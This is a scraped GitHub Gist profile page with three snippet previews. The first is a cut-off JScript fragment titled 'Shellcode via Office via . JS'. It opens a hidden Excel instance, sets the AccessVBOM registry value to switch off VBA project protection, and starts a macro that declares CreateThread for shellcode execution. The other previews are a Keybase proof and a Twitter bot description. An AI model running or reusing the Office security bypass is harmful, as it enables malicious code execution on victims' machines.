Skip to content

Instantly share code, notes, and snippets.

View SkillfulHacking's full-sized avatar
:octocat:

ouɐɹɔs ʞɹɐɯ SkillfulHacking

:octocat:
  • New York NY
View GitHub Profile
@SkillfulHacking
SkillfulHacking / example.js
Created February 6, 2017 01:33
Shellcode via Office via . JS
var objExcel = new ActiveXObject("Excel.Application");
objExcel.Visible = false;
var WshShell = new ActiveXObject("WScript.Shell");
var Application_Version = objExcel.Version;//Auto-Detect Version
var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
var objWorkbook = objExcel.Workbooks.Add();
var xlmodule = objWorkbook.VBProject.VBComponents.Add(1);
// Sample Shell Code Execution Documented Here: https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/
var strCode = 'Private Declare Function CreateThread Lib "kernel32" (ByVal Npdrhkbff As Long, ByVal Drcunuy As Long, ByVal Ache As Long, Wiquwzp As Long, ByVal Ltdplqkqj As Long, Xsawbea As Long) As Long\n';
Verifying that +skillfulhacking is my blockchain ID. https://onename.com/skillfulhacking

Keybase proof

I hereby claim:

  • I am skillfulhacking on github.
  • I am skillfulhacking (https://keybase.io/skillfulhacking) on keybase.
  • I have a public key whose fingerprint is 9558 9DC6 9AEE 6D4C 5C4E 1D73 F5CB A620 0687 4F01

To claim this, I am signing this object:

Twitter autoresponder bot

By Daniel15 (dan.cx) This is a very simple Twitter autoresponder bot. It requires PECL OAuth extension to be installed (run "pecl install oauth", or if on Windows, grab php-oauth.dll. If using cPanel you can install it via WHM). The authentication is designed for command-line usage, it won't work too well via a web browser. You'll have to sign up for an application on Twitter's site to get the consumer key and secret.

Could be modified to be more advanced (match regular expressions to answer questions, etc.)

Questions? See my blog post - http://dan.cx/blog/2011/06/twitter-autoreply-bot-dbznappa

Modified 2013-06-13 - Twitter API 1.0 discontinued, modified to use Twitter API 1.1